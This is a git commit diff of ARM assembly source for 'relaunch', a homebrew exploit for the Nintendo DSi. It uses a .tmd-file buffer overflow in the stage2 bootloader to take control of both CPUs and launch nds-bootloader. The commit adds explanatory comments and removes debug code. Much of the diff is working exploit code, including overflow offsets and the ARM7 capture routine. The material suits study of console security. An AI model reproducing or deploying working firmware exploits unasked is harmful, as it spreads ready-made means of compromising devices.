mirror of
https://github.com/DesperateProgrammer/relaunch.git
synced 2025-06-19 07:05:45 -04:00
added more documentation within the code
cleaned up a little removed the delays/colored screens that were used to debug
This commit is contained in:
parent
bd48782914
commit
72f05cca16
221
relaunch.s
221
relaunch.s
@ -3,6 +3,65 @@
|
|||||||
|
|
||||||
.syntax unified
|
.syntax unified
|
||||||
|
|
||||||
|
################################################################################
|
||||||
|
# #
|
||||||
|
# Overview of the exploit: #
|
||||||
|
# #
|
||||||
|
# The DSi starts with a bootloader from ROM (stage1) that loads an #
|
||||||
|
# encrypted stage2 bootloader from the eMMC chip inside the DSi #
|
||||||
|
# #
|
||||||
|
# This bootloader will locate and execute the nintendo app-launcher #
|
||||||
|
# #
|
||||||
|
# While the stage2 locates the app-launcher it checks the .tmd file in #
|
||||||
|
# content folder for the launcher to find the app filename. #
|
||||||
|
# #
|
||||||
|
# This is done by retreiving the file length and then reading all of its #
|
||||||
|
# bytes to a fixed address buffer without checking if the buffer csan hold #
|
||||||
|
# all that data. #
|
||||||
|
# #
|
||||||
|
# This exploit utilizes the buffer overflow to change a structure located #
|
||||||
|
# after the buffer to overwrite a return pointer on the stack. #
|
||||||
|
# - See Section EXPLOIT near the end #
|
||||||
|
# #
|
||||||
|
# The execution on the arm9 then continues at Section Actual Payload #
|
||||||
|
# #
|
||||||
|
# To gain control of the arm7 from the arm9 we use the IWRAM Control #
|
||||||
|
# - See section Gain control of ARM7 #
|
||||||
|
# to capture the execution flow of the arm7 and jump to an arm7 payload #
|
||||||
|
# - See section ARM7 Payload #
|
||||||
|
# #
|
||||||
|
# In the last step, the arm7 is made to execute nds-bootloader from VRAM #
|
||||||
|
# while the arm9 waits in the original passme loop #
|
||||||
|
# #
|
||||||
|
# nds-bootloader then will do its thing and execute the configured .nds #
|
||||||
|
# #
|
||||||
|
################################################################################
|
||||||
|
|
||||||
|
@ Written by Tim 'MightyMax' Seidel, 2021
|
||||||
|
@ Thank you to all the great ppl of the community that lead to understanding
|
||||||
|
@ the DSi as we do now.
|
||||||
|
@
|
||||||
|
@ This code was written after learning, that the .tmd file could cause a buffer
|
||||||
|
@ overflow. Unlaunch was not reverse engineered for this. It is likely unalunch
|
||||||
|
@ uses the same exploit gadget, but it also could be a different one caused
|
||||||
|
@ by the very same bug (there are multiple structures overwritten by the tmd)
|
||||||
|
@
|
||||||
|
@ The arm7 capture took me the most time. There possibly is an easier method
|
||||||
|
@ but the IWRAM method works very relyable and even could be reversed, so that
|
||||||
|
@ the stage2 could restart execution, if the .tmd length bug was patched
|
||||||
|
@
|
||||||
|
@ I chosed the easier way of just using the existing nds-bootloader from
|
||||||
|
@ devkitPro
|
||||||
|
@
|
||||||
|
@ This code is to keep the knowledge open sourced. It is no 'product' or fully
|
||||||
|
@ completed tool for your DSi. But such a product can be derived from this work.
|
||||||
|
@
|
||||||
|
@ Martin 'no$cash' Korth originally developed the unlaunch exploit and polished
|
||||||
|
@ a very well tested and working tool to mod your DSi and shall be used if you
|
||||||
|
@ wanted to use the unlaunch exploit for moddign the DSi.
|
||||||
|
@ In case unlaunch will be gone some time. This source code would allow you to
|
||||||
|
@ recreate something alike.
|
||||||
|
|
||||||
###############################
|
###############################
|
||||||
# Constants #
|
# Constants #
|
||||||
###############################
|
###############################
|
||||||
@ -14,8 +73,11 @@
|
|||||||
.equ TMD_WRITEOFFSET ,0x00000078
|
.equ TMD_WRITEOFFSET ,0x00000078
|
||||||
.equ TMD_WRITEPOINTER ,0x037F3878
|
.equ TMD_WRITEPOINTER ,0x037F3878
|
||||||
.equ TMD_STACKRETURN ,0x02FE3558
|
.equ TMD_STACKRETURN ,0x02FE3558
|
||||||
.equ HWREG_BASE ,0x04000000
|
.equ PASSME_ADDRESS ,0x02FFFE04
|
||||||
.equ PALETTE_BASE ,0x05000000
|
.equ PASSME_INSTRUCTION ,0xE59FF018
|
||||||
|
.equ VRAM_ENTRY ,0x06000000
|
||||||
|
.equ VRAM_LCDADDR ,0x06840000
|
||||||
|
.equ MRAM_ADDRESS ,0x02000000
|
||||||
|
|
||||||
# The exploited code is arm32
|
# The exploited code is arm32
|
||||||
# We could make it return to thumb code but for simplicity all code within here
|
# We could make it return to thumb code but for simplicity all code within here
|
||||||
@ -42,85 +104,52 @@ _start:
|
|||||||
# Fill until payload with AA #
|
# Fill until payload with AA #
|
||||||
##############################
|
##############################
|
||||||
|
|
||||||
|
@ When filling we use a pattern that is easily
|
||||||
|
@ recognizable. Clearly "AAAAAAAA" stands out in hex view
|
||||||
|
|
||||||
# .org (0x037f0000 - SECTIONBASE), 0xAA
|
# .org (0x037f0000 - SECTIONBASE), 0xAA
|
||||||
|
|
||||||
##############################
|
##############################
|
||||||
# ! Actual Payload ! #
|
# ! Actual Payload ! #
|
||||||
##############################
|
##############################
|
||||||
|
|
||||||
# This example payload was borowed from BrokenPit and modified
|
|
||||||
# It will alternate the top screen between green and blue
|
|
||||||
# with some delay between
|
|
||||||
|
|
||||||
setScreenColored:
|
|
||||||
push {r0}
|
|
||||||
mov r0, HWREG_BASE
|
|
||||||
mov r1, #0
|
|
||||||
str r1, [r0, #0x208]
|
|
||||||
str r1, [r0, #0x210]
|
|
||||||
ldr r2, [r0, #0x214]
|
|
||||||
str r2, [r0, #0x214]
|
|
||||||
mov r2, #(1<<16)
|
|
||||||
str r2, [r0]
|
|
||||||
str r1, [r0, #0x60]
|
|
||||||
str r1, [r0, #0x6C] @ MASTER_BRIGHT FIX by Normmatt
|
|
||||||
mov r0, PALETTE_BASE
|
|
||||||
pop {r1}
|
|
||||||
strh r1, [r0]
|
|
||||||
bx lr
|
|
||||||
|
|
||||||
delay:
|
|
||||||
mov r0, #0x00500000 @ time to wait
|
|
||||||
delayloop:
|
|
||||||
subs r0, r0, #1 @ subtract 1
|
|
||||||
bne delayloop @ jump back if not zero
|
|
||||||
bx lr @ return
|
|
||||||
|
|
||||||
entry:
|
entry:
|
||||||
BL captureARM7
|
|
||||||
mainLoop:
|
@ With the exploit we got control of the arm9 meaning it executes this code right
|
||||||
mov r0, #0xFC00
|
@ now. But we do not have control of the arm7 running in IWRAM owe have no
|
||||||
BL setScreenColored
|
@ direct control to
|
||||||
BL delay
|
@ We change that and captur the arm7 execution
|
||||||
mov r0, #0x03C0
|
|
||||||
BL setScreenColored
|
BL captureARM7 @ make the arm7 to execute the arm7 payload
|
||||||
BL delay
|
|
||||||
# B mainLoop
|
@ Set up the passme loop. This was one of the first (or the very first?) exploit
|
||||||
ldr r0, passmeAddress
|
@ for the NDS using the loaded NDS header to create a loop that executes within
|
||||||
|
@ this .nds file header.
|
||||||
|
@ the nds-bootloader uses this loop to control the arm9 from within the arm7, by
|
||||||
|
@ changing the arm9 entry point and the loop then branching to the new location
|
||||||
|
|
||||||
|
ldr r0, passmeAddress @ set up the passmeLoop
|
||||||
ldr r1, passmeInstruction
|
ldr r1, passmeInstruction
|
||||||
str r1, [r0]
|
str r1, [r0]
|
||||||
str r0, [r0, #0x20]
|
str r0, [r0, #0x20]
|
||||||
mov r2, #0x02000000
|
|
||||||
ldr r1, [r2, #4]
|
@ since we have the arm7 now in a loop (see the arm7 payload) we can control,
|
||||||
str r1, [r2]
|
@ we let it jump to the nds-bootloader in VRAM now by changing the branch target
|
||||||
|
@ in the arm7 waiting loop
|
||||||
|
mov r2, MRAM_ADDRESS
|
||||||
|
ldr r1, [r2, (arm7PayloadWait - arm7PayloadStart) + 4]
|
||||||
|
str r1, [r2, (arm7PayloadWait - arm7PayloadStart)]
|
||||||
|
|
||||||
|
@ and finally branching ourself to the passme loop. We are Done.
|
||||||
|
@ nds-bootloader takes over!
|
||||||
BX r0
|
BX r0
|
||||||
|
|
||||||
|
|
||||||
passmeAddress:
|
passmeAddress:
|
||||||
.word 0x02FFFE04
|
.word PASSME_ADDRESS
|
||||||
passmeInstruction:
|
passmeInstruction:
|
||||||
.word 0xE59FF018
|
.word PASSME_INSTRUCTION
|
||||||
|
|
||||||
##############################
|
|
||||||
# Patches for the stag2 to #
|
|
||||||
# run other DSi Paths #
|
|
||||||
##############################
|
|
||||||
|
|
||||||
srlFilenameBuffer:
|
|
||||||
.word 0x02ffdfc0
|
|
||||||
|
|
||||||
@ the following address points to the branch that resolves the filename to
|
|
||||||
@ load by teh stage 2 bootloader. By replacing this with a NOP we could
|
|
||||||
@ pass a srl file name to load from the payload
|
|
||||||
|
|
||||||
filenamePatchLocation:
|
|
||||||
.word 0x037b8b74
|
|
||||||
filenamePatchInstruction:
|
|
||||||
B . + 4
|
|
||||||
checkHeaderPatchLocation:
|
|
||||||
.word 0x037b8bb8
|
|
||||||
checkHeaderPatchInstruction:
|
|
||||||
B . + 4
|
|
||||||
|
|
||||||
##############################
|
##############################
|
||||||
# Gain control of ARM7 #
|
# Gain control of ARM7 #
|
||||||
@ -139,7 +168,7 @@ copyPayload:
|
|||||||
@ Copy arm7 and arm9 main ram payload to main ram
|
@ Copy arm7 and arm9 main ram payload to main ram
|
||||||
adr r0, arm7PayloadStart
|
adr r0, arm7PayloadStart
|
||||||
adr r1, arm7PayloadEnd
|
adr r1, arm7PayloadEnd
|
||||||
mov r2, #0x02000000
|
mov r2, MRAM_ADDRESS
|
||||||
copyPayloadLoop:
|
copyPayloadLoop:
|
||||||
ldr r3, [r0], #4
|
ldr r3, [r0], #4
|
||||||
str r3, [r2], #4
|
str r3, [r2], #4
|
||||||
@ -175,16 +204,6 @@ getWRAMPage:
|
|||||||
str r1,[r0]
|
str r1,[r0]
|
||||||
ldr r1, dataMBK5_ARM9Ctrl
|
ldr r1, dataMBK5_ARM9Ctrl
|
||||||
str r1,[r0, #4]
|
str r1,[r0, #4]
|
||||||
backupData:
|
|
||||||
@ Save the code that was on this page in main ram for later recovery
|
|
||||||
mov r0, 0x8000
|
|
||||||
mov r1, 0x03800000
|
|
||||||
mov r2, 0x02100000
|
|
||||||
backupLoop:
|
|
||||||
ldr r3, [r1],#4
|
|
||||||
str r3, [r2],#4
|
|
||||||
subs r0, r0, #4
|
|
||||||
bne backupLoop
|
|
||||||
clearPage:
|
clearPage:
|
||||||
@ Clear with B self (for now to see where we are)
|
@ Clear with B self (for now to see where we are)
|
||||||
mov r0, 0x8000
|
mov r0, 0x8000
|
||||||
@ -205,21 +224,13 @@ postPage:
|
|||||||
str r1,[r0]
|
str r1,[r0]
|
||||||
str r2,[r0, #4]
|
str r2,[r0, #4]
|
||||||
waitTillWeAreSureArm7IsCaptured:
|
waitTillWeAreSureArm7IsCaptured:
|
||||||
BL delay
|
ldr r0, passmeAddress
|
||||||
restoreBackup:
|
mov r1, #0x80000000
|
||||||
ldr r0, addrMBK4
|
ldr r2, [r0, #-4]
|
||||||
ldr r1, dataMBK4_ARM9Ctrl
|
cmp r2, r1
|
||||||
str r1,[r0]
|
bne waitTillWeAreSureArm7IsCaptured
|
||||||
ldr r1, dataMBK5_ARM9Ctrl
|
mov r1, #0x00000000
|
||||||
str r1,[r0, #4]
|
str r1, [r0, #-4]
|
||||||
mov r0, 0x8000
|
|
||||||
mov r1, 0x03800000
|
|
||||||
mov r2, 0x02100000
|
|
||||||
restoreLoop:
|
|
||||||
ldr r3, [r2],#4
|
|
||||||
str r3, [r1],#4
|
|
||||||
subs r0, r0, #4
|
|
||||||
bne restoreLoop
|
|
||||||
restoreOrigPages:
|
restoreOrigPages:
|
||||||
ldr r0, addrMBK4
|
ldr r0, addrMBK4
|
||||||
ldr r1, dataMBK4_Restore
|
ldr r1, dataMBK4_Restore
|
||||||
@ -248,8 +259,6 @@ dataMBK5_Restore:
|
|||||||
.word 0x9D999591
|
.word 0x9D999591
|
||||||
dataMBK8:
|
dataMBK8:
|
||||||
.word 0x08803800
|
.word 0x08803800
|
||||||
codeBranchSelf:
|
|
||||||
.word 0xEAFFFFFE
|
|
||||||
regVRAMC:
|
regVRAMC:
|
||||||
.word 0x04000242
|
.word 0x04000242
|
||||||
VRAMC_LCD:
|
VRAMC_LCD:
|
||||||
@ -257,10 +266,10 @@ VRAMC_LCD:
|
|||||||
VRAMC_ARM7:
|
VRAMC_ARM7:
|
||||||
.word 0x00000082
|
.word 0x00000082
|
||||||
VRAMC_ADDR:
|
VRAMC_ADDR:
|
||||||
.word 0x06840000
|
.word VRAM_LCDADDR
|
||||||
|
|
||||||
nopSlide:
|
nopSlide:
|
||||||
mov r0, #0x02000000
|
mov r0, MRAM_ADDRESS
|
||||||
nopSlideEnd:
|
nopSlideEnd:
|
||||||
BX r0
|
BX r0
|
||||||
|
|
||||||
@ -268,18 +277,30 @@ nopSlideEnd:
|
|||||||
# ARM7 Payload #
|
# ARM7 Payload #
|
||||||
##############################
|
##############################
|
||||||
|
|
||||||
@ Create the passme loop and jump to it
|
@ The arm7 payload is quite simple.
|
||||||
|
@ We will flag a value, that we have entered the payload (so the arm9 knows for
|
||||||
|
@ sure when to continue)
|
||||||
|
@ and after that we will wait in a branch to self loop to wait for the arm9
|
||||||
|
@ to tell us to continue by copying the following instruction over the branch
|
||||||
|
|
||||||
arm7PayloadStart:
|
arm7PayloadStart:
|
||||||
b .
|
ldr r0, passmeAddressArm7
|
||||||
mov pc, #0x06000000
|
mov r1, #0x80000000
|
||||||
|
str r1, [r0, #-4]
|
||||||
|
arm7PayloadWait:
|
||||||
|
b arm7PayloadWait
|
||||||
|
mov pc, VRAM_ENTRY
|
||||||
|
passmeAddressArm7:
|
||||||
|
.word PASSME_ADDRESS
|
||||||
arm7PayloadEnd:
|
arm7PayloadEnd:
|
||||||
|
|
||||||
|
@ We load the VRAM with the nds-bootloader code
|
||||||
|
@ This code was generated with https://github.com/devkitPro/nds-bootloader
|
||||||
|
@ using the compiler flag NO_DLDI to load the boot.nds from the DSi SD Card Slot
|
||||||
|
|
||||||
VRAMPayloadStart:
|
VRAMPayloadStart:
|
||||||
.incbin "nds_bootloader.bin"
|
.incbin "nds_bootloader.bin"
|
||||||
VRAMPayloadEnd:
|
VRAMPayloadEnd:
|
||||||
B .
|
|
||||||
|
|
||||||
##############################
|
##############################
|
||||||
# EXPLOIT #
|
# EXPLOIT #
|
||||||
|
Loading…
Reference in New Issue
Block a user